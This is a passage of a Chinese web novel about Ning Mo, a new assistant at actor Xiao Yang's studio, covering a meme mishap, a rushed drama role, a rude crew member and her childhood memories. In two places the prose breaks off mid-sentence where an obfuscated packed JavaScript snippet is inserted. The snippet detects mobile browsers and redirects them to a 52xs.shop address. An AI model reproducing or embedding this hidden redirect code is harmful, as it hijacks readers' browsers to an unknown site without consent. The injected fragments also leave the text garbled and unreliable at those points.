宁茉租住的公寓不远处有个大学，后门那条街每到晚上就会变成小吃街，宁茉走到那边看了一圈，找了个串串小摊选菜。 摊主是个年纪较大的奶奶，看着她笑道：“妹妹，你是哪个学院的呀？” 宁茉愣了一下，笑笑：“我已经毕业了。” “是吗？”奶奶有点惊讶，“我以为你还是学生呢，看着这么小。” 被夸奖总是开心的，宁茉和奶奶寒暄了几句，又多拿了几串，才去扫码付款。 输密码的时候，手机同时跳出了微信消息，竟然是萧扬发来的。 宁茉动作一顿，密码输错了一位，又退回重新输入，直到付完款，才低下头，点开萧扬的对话框。 萧扬发的信息和他本人一样，言简意赅，连一个多余的表情都没有。 [萧扬：视频我看到了，做的很好。] 宁茉耳朵有点发红，她没想到萧扬会这么直白的夸自己，斟酌了几秒，点开收藏的表情包，不知道应该回复什么。 奶奶把她选的串串热好装起来递给她，见她半天都没有抬头接，笑着说：“什么事这么高兴呀？” 宁茉慌忙接过袋子，脸色更红了：“哦……没什么，被老板夸了。” 奶奶笑了：“光夸可不行，让他给你涨工资。” 宁茉笑了点点头：“好，我回头和他建议一下。” 笑着转身往回走时，手机突然又震动了一下，宁茉低下头一看，萧扬又发来一句消息。 [萧扬：？] 宁茉：“？” 再仔细一看，原来自己刚才不小心误触了屏幕，已经发出去了一个表情包。 宁茉倒吸了一口凉气，脸上的笑容瞬间消失，瞪大眼睛再次确认了一下那个表情包，反复看了几遍后，悬着的心终于死了。 ——那是早上从宋依依发来的一串表情里保存的，一张萧扬正襟危坐的图片，头上配了偌大的两个字【严肃】。 …… 11. 第 11 章 宁茉的第一反应就是撤回，她迅速点了几下表情包，但紧张加上手抖，不仅没有成功撤回，还激活了另一个特效。 [“宁茉”拍了拍“萧扬”] “……” [萧扬：……] 宁茉两眼一闭，深呼吸了几下，平静地睁开双眼，再次点开对话框，依次有条不紊地撤回了“拍一拍”和表情包，随后平静地回复了一句。 [宁茉：点错了，不好意思。] [宁茉：谢谢老板夸奖，我会继续努力的。] 发完连回复也不看，熄屏关机收手机一气呵成，宁茉原地静止了十秒钟，脑子才终于开始重新转动。 啊…… 啊啊啊啊啊！！！ 好！丢！！人！！！ 周围人来人往都是学生，宁茉极力克制着面部表情，捏着塑料袋子一路疾走，原本十分钟的路程硬生生被压缩到了五分钟。 到家以后她放下吃的，揉了揉自己还在发烫的脸，一屁股坐到了沙发上，随后把自己埋进了沙发里。 缓了几分钟，被食物的香味诱惑到，宁茉终于爬了起来，坐到桌子前吃饭。 一顿美味的地摊串串吃完，心情也平复了大半，宁茉打开手机，祈祷着萧扬没有再回复。 天不遂人愿，萧扬回复了。 [萧扬：表情包谁做的？] 宁茉：“……” 一定要问的这么仔细吗？不能当没看见吗？？以前空降粉丝群聊天的时候，粉丝们发那么多萧扬表情包，他不是都非常自如地忽略掉了吗？？？ 咬着串串签，宁茉艰难地回复了一句。 [宁茉：网上看到的。] 萧扬这次顿了几秒才回复。 [萧扬：是吗？] 宁茉愣了一下，觉得萧扬的回复有点奇怪，她重新看向表情包，看了几秒后眼底猛地一惊，这是……昨天……围读会……的造型…… 宁茉瞬间有点崩溃，宋依依……你做表情包就不能拿点公众物料吗！ 昨天围读会只有她和宋依依在场，围读会上她拍的那些照片也还没发出来，这图是出自哪里，简直显而易见。 …… 宁茉放下手机，觉得短时间内不能再回复消息了，否则自己思维混乱，都不知道会再说出什么来。 好在萧扬那边也安静了下来，似乎是有事在忙，对话框就这么安静了下来。 —— 陈昌这顿饭带着目的，并且称得上是开门见山，很快就提出了自己的邀约。 “《风暴降临》？”浦世诚有点愣怔，“让萧扬顶上王驭的角色？” 陈昌点点头，眼神诚挚中带着点尴尬：“之前那个演员王驭的事情我就不再说了，你们应该也都知道了，实际情况也和传闻中的大差不差，这部剧他肯定是不能出现的，但他演的角色很重要，称得上是《风暴降临》里最重要的单元，如果整个单元删了，这部戏就不能看了。” “萧扬的形象和角色很贴合，演技也好，补这个角色肯定是没问题的。“ “片酬方面我们可以商量，我按王驭的两倍给，如果打乱了你原有的活动计划，违约金我这边也全部照赔。” 萧扬眉心一动，和浦世诚对视了一眼，陈昌对这部剧的重视程度超乎想象，提出的条件十分诱人。 《风暴降临》本身只是一部B级网剧，但看陈昌的反应，这部剧他倾注了不少心血，加上主演阵容本身不错，也许会是部爆剧。 这对现在缺乏知名度的萧扬来说，是一个绝好的机会。 唯一的问题就是时间太紧张了，所有人都知道这个角色是临时补位，如果呈现效果不好，反而会被骂。 萧扬大概不是陈昌找的第一个人，这之前陈昌应该被拒绝过几次，所以才如此急切。 萧扬还没有开口，浦世诚已经先说话了：“只剩一个多月，陈导您确定来得及吗？” 陈昌点点头：“时间确实有点紧张，但好在场景是现成的，有些地方不露正脸的镜头也还能用，剧组那边我已经让人在筹备了，两天后开机，一边拍一边剪一边做后期，二十天差不多能拍完，加上送审，不会耽误播出。” 浦世诚一愣：“两天后就进组？” “对，”陈昌说道，“可以先拍校园部分的戏，让萧扬适应一下，后面再拍重要剧情。” 萧扬终于开口了，他一双黑眸沉着冷静，沉声问道：“剧本有吗？” 陈昌嘴角露出一个笑容，从手边拿出一个文件袋，推给萧扬：“我拿来了。” 萧扬伸手接过，拿出里面的剧本，低头看了起来。 浦世诚怕打扰到萧扬看剧本，压低了声音又问陈昌：“两个主演那边呢？您沟通好了吗？” 陈昌点点头，眼底浮现出一丝欣慰：“他们两个很懂事，主动问我是不是要补拍，也给我留了档期，到时候戏份合在一起，多熬几个大夜就行了。” “不好演的重头戏会放到最后拍，给萧扬一点适应的时间，我也相信他的能力。” 浦世诚点点头：“……好的，我这边没什么疑问了。” 只等萧扬的回复了。 房间里一时间安静下来，只剩书页翻动的声音，萧扬看剧本速度很快，一目十行地翻着剧本，脑海中对于人物已经有了基本的画像。 最后一页看完，萧扬合上剧本，抬头看向陈昌，开口干脆利落：“我接。” 提着的心瞬间放了下来，陈昌大笑一声，猛地一拍手：“好！！！萧扬我真是没看错你，我就知道你行！” 萧扬眼底浮出笑意：“希望我不会辜负您的信任。” 陈昌伸出手：“我在云城等你，两天后见。” 萧扬握住他的手：“两天后见。” …… 散场已经深夜一点，两个人并没有立刻离开，萧扬坐在车上研究剧本，浦世诚则站在车门处点了根烟，眉头皱的有点紧：“咱们会不会太冒险了？按播出时间来算，这可是你这么久以来第一部戏。” “万一演砸了……哦我不是那个意思啊，我是说，毕竟也三年多没拍戏了，这角色我看着都难演，万一没把握好那个度……” 后面的话他欲言又止，意思却很明显，别好不容易争取来的《如意环》还没开机，就被《风暴降临》影响了风评，得不偿失。 萧扬却只是低头专心看着剧本，没理他。 浦世诚没忍住敲敲车窗：“你到底有把握没有？” 萧扬抬眼瞥了他一眼，淡淡开口：“走远点抽烟。” “嘿！……”浦世诚气的呲牙咧嘴，“刚才陈昌在屋里抽那么多烟也没见你说一句，我这都站车外边了你还嫌有烟味，你是不是太过分了？” “再说了，之前那破公司冷藏你三年，是谁看不过去帮你找关系解约，又帮你砍了一半的天价违约金？” 萧扬接话接的很快：“南黄集团。” “……”浦世诚不服气，“那也是我对接的！南黄集团背后是谁你不知道？你这金贵小少爷拉不下脸去求人，我可是几次三番登门帮你要来的这个人情。” 提到这个话题，萧扬安静下来，没再接话。 气氛一瞬间有点冷，浦世诚后知后觉，咳了一声，转而换了个话题：“当初公司让我接白野，那么火的明星我看都没看，直接辞职跟着你出来单干了，你也不谢谢我。” 萧扬头也不抬，语气平淡无波：“谢谢。” “……”浦世诚彻底服了，他就没有吵赢过这小子，索性把烟一掐，走到他身边，“我跟你认真说呢。” 萧扬合上剧本，抬头看向他。 浦世诚看着他：“《风暴降临》是个好剧，但是对你来说挑战有点大，你得做好准备。” “我知道，”萧扬说，“我能演好。” 浦世诚突然乐了：“这么有信心？” 萧扬：“嗯。” “……行吧，我也不瞎操心了，演好演坏都随你，反正路还长着呢，不差这一时半会。” 浦世诚上了车，启动车辆，随口问道：“对了，两天后就要开机，那三个新招的助理，到时候让谁跟组？” 说到这里，他突然摇了摇头：“也不知道他们能不能适应你拍戏的节奏，别到时候把人吓走了。” 萧扬顿了一下：“……那就三个一起跟吧。” “也行，”浦世诚想了想，“一个人恐怕干不来，三个都跟组，正好看看他们能不能胜任这份工作。” 萧扬凉凉开口：“说得好像你给他们很多钱一样。” 浦世诚睁大双眼：“现在不是实习期么！以后转正了我肯定给他们涨工资，还有提成和补贴！反正一定比你之前待那个黑心公司待遇要好的多。” 萧扬：“……” —— 宁茉当晚做了一个梦。 她很少做梦，通常由于睡眠时间很短，她一旦睡着就会陷入深沉混沌的梦境里，像被一团雾气包裹起来，直到雾气慢慢散去才会醒来。 而今晚的梦，她依旧陷在一团雾气里，却感觉自己在不断地下坠，坠落速度越来越快，恐惧充斥着她的头脑，她想伸出手去抓住什么，阻止自己坠落，一伸手，周围空无一物。 那一刻她猛然意识到，她掉进了深渊里，根本无法求救。 下一秒，宁茉猛然睁开了双眼，漆黑的眼眸定定望着虚空中的一点，直到慢慢回神，僵直的身体开始放松。 “……” 她已经很久没做过这个梦了，高中的时候，宁茉总会重复这个可怕的梦境，无助和恐怖像潮水一般将她淹没，她会在半夜惊醒，然后再也无法入睡，坐着发呆直到天亮。 宁茉摸了摸额头，有薄薄的潮意，她擦掉头上的冷汗，翻身摸到了手机，屏幕亮起，时间显示05：20，还早。 宁茉放下手机闭上眼，心跳依旧跳的很快，心有余悸的感觉让她确认自己无法再继续睡觉，于是索性起了床。 这天她依旧是第一个到工作室的，输入密码打开门，先给山山喂了猫粮换了水，又简单打扫了一下卫生，坐到了自己的工位上开始发呆。 王墨和宋依依先后到达，宋依依一来就凑到宁茉身边八卦昨天塌房的流量小生，两人聊了一会儿天，宋依依盯着宁茉的脸问道：“茉茉，你不舒服吗？你看起来脸色不太好。” 宁茉搜了搜太阳穴：“没事，我昨晚睡得晚。” 宋依依哦了一声，还是说道：“你可不要总熬夜，现在的年轻人熬夜身体出问题的很多，我有个朋友就因为总熬夜眼睛出问题了，年纪轻轻看东西就模糊了！” 宁茉笑着点点头：“好，我知道了。” 她又看向空空荡荡的工作室，注意到工作室其他人竟然还没有来。 “大家怎么集体迟到？”王墨也有点纳闷，“这都九点半了。” 宋依依也朝着门口张望：“可能今天有什么事情吧，王墨，你昨晚又回去找他们了么？” “没有啊，”王墨摇摇头，“我送完你就回家了，浦哥和萧哥去的饭局。” 话音刚落，工作室的大门被推开，孙尚万顶着一张满是疲惫的脸走了进来。 “孙哥！” “孙哥早。” 孙尚万有气无力：“……早。” “你怎么了？”宋依依好奇地看着他，“看起来像没睡好。” “没睡好？”孙尚万扯了扯嘴角，“我就压根没睡成！昨晚浦世诚突然打了个电话，告诉我后面的行程全变了，我忙了一晚上！” 他摸了摸自己本就稀疏的头顶：“再这么熬下去，我真得去植发了。” “……”宋依依和宁茉目光对视了一眼，两个人都从彼此眼中看出了同情。 霍妍紧跟着孙尚万走了进来，她眼下也有些发青，但依旧画了个精致的妆容，艳丽的唇色掩盖了疲倦之色。 “王墨、宋依依、宁茉，你们三个过来开会。” 她连工位都没去，直接反手推开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406813|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了会议室的门。 三个人立刻站了起来，椅子发出整齐划一的拖动声，随后他们拿着笔和本子，走向会议室。 霍妍开门见山：“准备一下，明天出差跟组，地点在云城，大概要出去二十多天，提前收拾好行李。” 三个人同时一愣。 霍妍又补充了一句：“你们三个一起。” “跟组？”宁茉问道，“《如意环》不是两个月后才开拍吗？” “是呀，”宋依依也一脸疑惑，“新接了什么剧吗？” “《风暴降临》，你们听过吗？”霍妍说道，“萧扬临时顶替了一个角色，要在二十天内把角色的戏份全部拍完。” 几乎是瞬间，宁茉和宋依依就反应过来是怎么回事了。 昨天流量明星王驭塌房的消息铺天盖地，不少人也提到了新剧《风暴降临》，当时就有人说一定会补拍，却没想到这个饼落到了萧扬头上。 这是陈昌导演的剧，如果拍好了还能卖陈昌一个人情，对萧扬以后的发展也有好处。 唯一的问题是…… 只有二十天的时间，会不会太紧张了？而且听说这个角色人设很特别，不太好演。 王墨平时不怎么吃娱乐圈的瓜，此时还没有反应过来，脸上仍旧带着茫然：“我们要出差二十多天吗？” 霍妍点点头：“以后这样的跟组出差会是常态，你们可以借着这次机会先适应一下。” “这二十天可能比较难熬，到时候三个人一起进组，王墨，你主要跟夜戏，宁茉和依依，你们负责提前核对通告单，拍戏时跟着。” “浦世诚也会跟组，你们有什么问题第一时间找他。” 她安排好大致的行程，给三个人买了第二天去云城的机票后，起身又离开了工作室，大概去忙别的事情了。 会议室里只剩三个人大眼瞪小眼，都有点惊讶。 “天哪，我竟然这么快就要跟组了！”宋依依第一个兴奋地蹦起来，“还没有跟过剧组呢，不知道是什么体验。” 王墨则挠挠头：“好突然啊，还有点没反应过来，我得跟家里人说一下。” 宁茉却有点心疼自己的房租，早知道刚来就要出差，她还不如先不租房了，一个月四千的房子就住了不到十天……这也太亏了吧！ “《风暴降临》诶，男主是影帝海文成，女主也是实力派周杉，强强联合！”宋依依满眼期待，“到时候岂不是可以看到他们两个？我要找他们签名！” 王墨问道：“跟组主要要做什么呢？会不会很忙啊？” 宁茉想了想：“大概就是助理那些工作吧，主要看现场有什么需要做的。” 孙尚万路过会议室，听到几个人的讨论，安慰般开口：“不用担心，萧扬很好伺候的，几乎不怎么需要你们，有事他也会直接跟你们说的。” “孙哥！”宋依依不敢和霍妍八卦，看到孙尚万倒是打开了话匣子：“怎么突然接了《风暴降临》啊？昨天晚上和陈昌导演吃饭时决定的吗？” 孙尚万摇摇头：“具体的我也不太清楚，这件事应该是昨晚定的，之前有没有对接我就不知道了。” “孙哥，我们出差产生的费用是怎么算的？”宁茉问了一个自己比较担心的问题，她现在资产不多，又刚刚浪费了一大半的房租，对于金钱问题十分敏感。 孙尚万回应道：“所有的支出从工作室里扣，包吃包住，如果你们中间给萧扬买了什么就告诉霍妍，她会给你们报销。” “对了，会有出差补，一天200，回来也会给你们补休假。” “哇！”宋依依兴奋起来，“竟然还会补休，好有良心的公司啊！” 孙尚万：“……” 宁茉也满意地点了点头，算上补助的话，勉强把她浪费的房租给补回来了。 三个人走出会议室，按照霍妍的吩咐开始准备这次的出行，前期主要是帮孙尚万对接行程，萧扬这个剧接的很突然，这二十天天内原定的各个行程现在都要更改，有的是延后、有的要取消，处理起来十分麻烦，也难怪孙尚万一晚上都没合眼。 宋依依帮着他梳理工作，宁茉则拿到了副导演助理的联系方式，加了对方微信，把萧扬这边的行程和对方同步了一下。 副导演助理似乎很忙，每一句话都要过个十几二十分钟才能回复，宁茉耐心询问着前几天的拍摄内容，却并没有得到很满意的回答。 她只好又询问了一次：[不好意思，前期的拍摄场景是在校园里是吗？] 对方这次发了一串语音。 宁茉点开，对方略带着不耐烦的声音传来：“哪来这么多问题？都跟你说了我这里很忙很忙，没时间回答你，你有什么事情到现场对接！” 宁茉一愣，没想到对方是这种态度。 可她起码要拿到前几天拍摄的通告单，这是孙尚万交代给她的任务。 宁茉斟酌了一下语句，再次回复：[非常抱歉打扰您了，具体的事项我们现场再对接。不过前两天的通告单可以先给我一下吗？我们好提前准备一下。] 对方没回复。 宁茉叹了口气，再次问了一遍。 工作室门口传来响动，但宁茉的注意力集中在对话上，没有看到是谁来了。 对方终于回话了，这次还是个十几秒的语音。 宁茉点开，前两秒没有听到声音，她怀疑自己点错了，调大了音量键，把手机凑到耳边。 不知道误触了什么键，几秒钟后，对方十分暴躁的声音从话筒里公放出来。 “你TM听不懂人话吗？我跟你说了没有没有，你还在这要什么呢！” 手机里的声音有点大，宁茉一愣，抬头正对上宋依依和王墨惊讶的神情。 脸颊瞬间有些发烫，明明只是一件很普通的小事，她却没有处理好，还让大家都听到了。 捏紧了手机，宁茉正想着该怎么回复，一道高大的身影却站到了她的身边，沉声问道：“对面是谁？” 12. 第 12 章 宁茉一惊，猛地转头，赫然发现不知道什么时候，萧扬竟然已经走到了她的身边。 也是在这时她才反应过来，刚才宋依依和王墨惊讶的是……萧扬来了。 宁茉有些尴尬，她低下头：“是副导演的助理，我想问他要前几天的通告单，但是他那边似乎还没有做出来。” 萧扬的脸色并不好，眉眼冷凝，语气有些发寒：“后天就要开机，他们的通告单还没做出来？” “……”虽然知道萧扬这种冷意并不是对着自己，但宁茉还是有些紧张，“他说他很忙，大概是重新筹备开机，需要准备的事情太多……” 她一句话还没有说完，萧扬已经开口：“这件事情你不需要再对接了。” 宁茉又是一怔，她抬头，目光带着些茫然，对上萧扬的视线。 也许是意识到什么，萧扬的目光蓦然柔和下来，语气也温和了些：“我会让浦世诚和他们对接，你不需要再管这件事了。” 看起来萧扬并没有责怪自己的意思，宁茉松了口气，点点头：“好。” “还有……”萧扬想了想，皱眉道，“以后再有这样的事情出现，你第一时间告诉我……或者浦世诚。” “好，”宁茉认真地点点头，“你放心，下次我不会耽误工作的。” “……”萧扬面色一顿，显然没想到宁茉理解偏了。 但他也没有再开口，转身朝着会议室去了，很快，浦世诚也推开工作室的门，径直走进了会议室，孙尚万见状也跟了上去，工作室里瞬间只剩下三个人。 王墨有点惊讶：“萧扬哥怎么看起来这么生气？” 宋依依哼了一声：“还不是刚才那个人！说话难听死了，他这种态度，那不就是对着萧扬的吗？如果我们是还没塌房的王驭助理，他敢这么说话吗？” ……原来是这样，宁茉点点头，赞同了宋依依的话，难怪萧扬看起来脸色不好，被人这么轻视，的确值得生气，毕竟他是陈昌亲自请来的救场演员，不管咖位大小，对方总是应该尊重他的。 宋依依又看向宁茉，眼底带了点同情：“不过……茉茉，刚才那个人说话这么不客气，你没有生气吧？可别往心里去啊，就当听见狗叫了。” “生气？”宁茉怔了一下，摇摇头，“没有。” 她其实并不觉得刚才那个人怎么样，之前在工作中也遇到过难缠的甲方，什么难听的话她都听过，大多数时候她都是立刻道歉，然后重新换一个方案，直到对方满意为止。 宋依依却朝她竖了个大拇指：“茉茉，你真的情绪太稳定了，要是我的话，可能都要被气哭了。” “之前姜明辰故意找你的茬，我虽然不在现场，后来也听旁边的工作人员描述了当时的情况，你居然那样都不生气，也太厉害了。” “不过有时候我们也不能什么都忍，该发火还是要发火，不然别人还以为我们好欺负呢。” 王墨也附和道：“是啊，出门在外，我们代表的就是萧扬了，不能被别人当成软柿子捏。” 宋依依满眼都是欣慰：“王墨！这是这些天来，我听你说过最帅的一句话了！” 王墨嘿嘿笑了两声，脸色有些发红。 宁茉坐在位置上，目光看向和副导演助理的对话框，安静地想了一会儿。 在宋依依说出那番话前，她都没觉得有什么问题，即便方才对方说话那么难听，宁茉也不觉得生气，第一反应就是耽误了工作。 但是……她似乎是应该生气的。 于情于理，她都没有做错，对方的态度却那么恶劣，之前在围读会，姜明辰也是冲着她发火，但她虽然觉得莫名和委屈，却没有太多反驳的欲望。 从小到大，家里人都要求她乖巧、听话、忍让，遇到什么事情先反思自己的问题，她似乎也习惯了这样的行为模式，很多事忍一忍也就过了。 宁茉的朋友们对她最多的评价，就是善良、冷静，似乎从来不会生气，总能让别人感到舒服。 而宁茉自己对自己的情绪有时也无法把握，在一些情绪激烈的瞬间，仿佛有一个罩子把她突然隔开，迅速的浇熄了她全部的情绪，只剩下冷漠和平和。 ……是从什么时候开始的？ 宁茉回想了一下，大概是……初中？ 那时宁茉进了莫城最好的初中，成绩却开始下降，从原先的年级前十掉到了五十，父母非常着急，给她报了很多补习班，宁茉的所有休息时间都用来学习。 最好的朋友生日，约她周末出去玩，宁茉提前了一周小心翼翼向母亲请假，母亲有些为难，说父亲应该不会同意，宁茉只好转而向父亲说。 父亲没有立刻答应，只说如果下周的周考宁茉能考到班级前五，就可以让她出去。 那一周宁茉学习分外的努力，她连晚上也不睡觉，彻夜通宵做题、复习错题，硬生生把成绩拉上去不少。 可最终周考结果，她考了第六名，和第五名只差两分。 宁茉拿着试卷大哭，在教室待到过了午饭时间才回家，父亲质问她去哪里玩了为什么一直不回来，宁茉把试卷拿出来，怀着最后一丝希望问父亲，她没有考到前五名，但可不可以先让她出去玩一下午，她保证下一次考试她会考到前三名。 父亲毫不留情地拒绝了她，怒骂她就是太爱玩才会成绩下滑，还问她是不是谈了恋爱，不然最近为什么开始化妆了。 ——那是女孩子刚开始爱美的年纪，宁茉用零花钱买了口红和眉笔，就放在她的书桌上。 宁茉那时委屈极了，一边哭一边说自己已经尽力了，父亲却反手就扔了她桌子上的化妆品，告诉她，她哪也不能去，只能乖乖去补习班上课。 那天宁茉最终还是没能参加好朋友的生日聚会，好朋友因此失望，和宁茉吵了一架，宁茉却没有解释，只觉得很累，没有力气再去维护这段友谊。 …… 后来又过了几天，小区里有一只宁茉常常喂养的流浪小猫被人从楼顶扔下去了，宁茉凌晨被猫的惨叫声惊醒，冲下楼时却只看到小猫血肉模糊的尸体，始作俑者已经跑的无影无踪。 她找了个布袋子包着那只猫的尸体，蹲在地上哭了很久。宁茉很后悔，她无数次和父母说想养这只小猫，但都被否决了，如果她养了，也许这只猫就不会死了。 那是一只特别亲人、特别可爱的小白猫，才五个月大，见人不知道躲也不知道怕，每次看到宁茉，都会冲上来围着她的脚撒娇要吃的。 宁茉哭了很久，直到父亲下来找她，看到她手边的猫尸体，大声地训斥了她，说太脏了要她赶紧扔掉。 宁茉第一次生起反抗的念头，她抬起头，定定地看着父亲，说如果他们同意她养猫，这只小猫就不会死了。 父亲那时说的话，宁茉至今都记得很清楚——每一个字。 “你养了它也会死！猫就是个畜生，迟早都会死！而且你现在天天上学，哪有时间照顾这种东西？！” “你还不是想要把养猫的压力转移给我们？然后自己闲了就玩一会儿！” 那时宁茉猛地站起来，长时间的哭泣让她有些头晕，眼前出现了重影，但她咬着牙，重重地说道：“如果我养它，我会自己负责的，我不会麻烦你们。” 父亲的脸色瞬间一变：“如果如果如果，哪有那么多如果？” “还不是你天天喂猫，让它不知道怕人，才会被人扔了？” “街坊邻居都看着呢，你别在这儿丢人现眼了！” “明天还要上学，赶紧上楼！” 滚烫的眼泪一滴滴落在地上，宁茉却说不出话来了。 她不知道该怎么反驳父亲，也不知道父亲说的是不是真的——是因为她，猫咪才被人害了吗？ 从小循规蹈矩、不曾出格的少女，被规训到了极致，即使心底有个声音告诉她不对、不是这样的，她也不明白原因，她只是呆呆地站着，抬头向上看。 有几扇窗户前似乎站着人，他们在窃窃私语着什么，她听不清，惶恐和无助像潮水一般将她淹没，她感觉浑身发冷，恨不得缩成没人看见的一小团灰尘，被风吹走。 那天是怎么结束的，宁茉自己都不太记得了，但似乎从那以后，她就变得沉默了许多，成了父母眼中性情平和、乖巧听话的女儿。 但也是从那以后，宁茉的睡眠质量变得越来越差，直到……几乎无法入睡。 …… 宁茉陷入回忆，呆愣了很久，直到身边传来声音才堪堪回神。 宋依依正举着手机站在她面前：“茉茉，我要买一次性用品，你需要吗？出差那么多天，我的东西都不够用了。” “……好，”宁茉接过她的手机，跟着往购物车里加了几样东西，又把手机还给她，“你算一下多少钱，我转给你。” “行~”宋依依笑着说，“我还要买点帽子和防晒，在室外的时间太多了，我怕被晒黑。” 说到这里，她羡慕地看着宁茉：“我要是有你这么白就好了，都不怕晒。” 宁茉很浅地笑了一下，目光移向会议室。 隔着玻璃，她看不清里面的情况，却也想象得到里面有多忙碌——匆匆接下《风暴降临》，后续要准备的事情太多，光是理解剧本、融入人物就不是一个小工程。 萧扬敢接下这部剧，想必也是做好了迎接挑战的准备。 脑海里回想到刚才萧扬的模样，沉浸在工作没有处理好的愧疚里，宁茉都没来得及注意萧扬今天是什么样子，只记得那双意识到自己的无措后突然变得温柔的一双眼眸。 心底有很小的一部分软软地陷下去，宁茉起身，走到了咖啡机旁边。 这个会不知道要开多久，他们几个人昨晚应该都没睡好，宁茉打算给他们冲杯咖啡。 她还记得每个人的偏好，宁茉冲好三杯咖啡，端着托盘往会议室走。 还没走到会议室门口，就已经有人拉开了门，宁茉一抬头，正对上浦世诚的视线。 “谢谢，麻烦你了。” 浦世诚接过咖啡，宁茉顺着他的动作往会议室里看了一眼，萧扬低着头，不知道在看什么，孙尚万则在一旁打电话。 宁茉转身要走，萧扬却突然开口了：“既然来了就一起听一下吧。” 宁茉一怔，看向萧扬：“那我叫他们两个一起过来？” “不用，”萧扬说道，“他们还有要忙的事情，你听完转达给他们就行了。” 转头看了一眼不远处忙着讨论购物车的两人，宁茉倒也没有再说话，乖乖地进了会议室。 会议室里，孙尚万和浦世诚坐在一边，萧扬坐在他们的另一边，宁茉想了想，下意识想坐到浦世诚身边。 萧扬却在此时朝她伸出手：“咖啡。” “哦……好。”宁茉答应了一声，端着咖啡走到他身边，放到他面前，随后就发现一件有点尴尬的事： 她已经绕着长桌走到了这一边，此刻再回去坐，似乎有些不合适。 恰好萧扬也在此时抬头看了她一眼：“怎么不坐下？” “……我忘了拿本子了。”宁茉随口说了个理由，想重新再出去，好名正言顺地坐回对面。 萧扬低头看了一眼，将手边的本子随手放到旁边的位置上：“桌子上有笔。” “……” 宁茉不得不就着那个位置坐下来，她低头看着面前萧扬的本子，觉得翻开有些不合适，想了想还是拿出手机，打算记在备忘录上。 萧扬倒也没有再看她，而是和孙尚万讨论起《风暴降临》中的角色。 宁茉听了一会儿，不经意抬头，突然发现从这个位置看过去，透过单向玻璃正好看得见自己的工位。 没记错的话，这还是萧扬常坐的位置。 那岂不是说……如果她在工位上摸鱼，萧扬都能看得一清二楚？ …… 一瞬间突然有些心虚，宁茉回想了下自己刚才有没有干什么过分的事情，确认没什么问题才放下心，开始专心听他们的讨论。 《风暴降临》里萧扬接的这个角色，是个性情阴郁的辍学少年，也是一桩凶案的重点嫌疑人。 剧本里描写的少年皮肤苍白、眼神淡漠、沉默寡言，习惯性地低头，对人很警惕，性格也十分偏激。 浦世诚看了看角色描述，又看了看萧扬，憋了半天，还是没忍住：“我说实话，这角色和你，除了长得白，没一点相似的。” 萧扬冷淡的瞥他一眼，没有答话。 不过宁茉倒是抬眼看了一眼身边的萧扬，他的确很白，天生的冷白皮，加上总爱穿暗色的衣服，肤色就愈发显得白，似乎连皮肤下的血管都看得清。 孙尚万则是盯着萧扬看了一会儿，开口道：“你近期不能再健身了。” 浦世诚也点点头：“吃饭也得控制点——人家这学生是个被校园霸凌的小可怜，你这体格往那一站，谁敢霸凌你啊？” “……”萧扬似乎忍无可忍，开口道，“我叫你们来不是听这些话的。” 孙尚万嘿嘿一笑：“不用担心，霍妍已经联系了营养师，会根据你的要求给你设计食谱。” 说到这里，他看了一眼宁茉：“宁茉，你这几天就只有一个任务——不要让他乱吃东西，一定要按照食谱来。” 宁茉慌忙点点头： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406814|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好的。” 浦世诚笑了：“他还用监督？你不知道他有多自律？凌晨四点睡觉，六点就能爬起来健身，你说说，这是正常人类能做出来的行为吗？” 孙尚万没忍住笑了，宁茉的嘴角也微微翘起，用余光撇了撇萧扬的脸色后，又谨慎的压了下去。 萧扬抬眼看向浦世诚，浦世诚一看他的样子就知道再惹真的要生气了，赶在萧扬说话前开了口：“剧组那边我联系过了，通告单明天能拿到手，酒店和车霍妍也已经安排好了，跟组的前几天霍妍也会去。” “不过你明天得晚一点去云城，这一个月能推的通告老孙都给你推了，有几个实在推不了的，只能提前。” “今天上午不着急，你先看看剧本，下午和晚上有两个拍摄，明天上午需要出席一个活动，就在北桥区，下午拍几个物料，晚上九点去云城的飞机，十一点落地。” 宁茉在手机上记录着萧扬的工作行程，只觉得十分可怕，这么高的工作强度，还要无缝衔接进组，听起来也太累了。 萧扬却神色如常：“好。” 孙尚万开口道：“剧本也需要提前熟悉，我会根据通告单把你需要背的台词提前梳理出来，这两天有空先背一下。” 萧扬：“嗯。” 之后就是一些其他事情，三个人认真开起会来效率很高，大大小小的事情都梳理了一遍，宁茉听完只觉得十分佩服，萧扬工作室这个团队真是又团结又高效，每个人分工明确、独当一面，需要配合时又能紧紧团结在一起。 她从来没有见过这样的工作氛围，在她以往的工作中，每个人都只想着自己的利益，出了一丁点问题就立刻推卸责任，把每一个同事都当成竞争对手。 宁茉刚到公司的那一年，被他的主管说她工作态度不积极、不够吃苦耐劳，大会小会上都会故意点她，工作时也总给她使绊子。 宁茉一开始忍了两个月，后来发现她退的越狠，对方越变本加厉，于是终于不再忍耐，每天加班加点的工作，在公司待到深夜甚至通宵，用了三个月的时间硬生生把自己的业绩做到了公司第一。 部门主管面上无光，最终也不得不收拾行李狼狈地离开了公司，而宁茉工资涨了将近一倍，很多人祝贺她卷走了自己的主管。 但这些并没有让她开心，她只觉得疲倦、乏味。 她不参与公司的聚餐，也不和他们一起议论别人的是非，于是她成了不合群的人，但碍于她业绩实在优秀，别人也不能拿她怎样，宁茉就这样在公司干了两年。 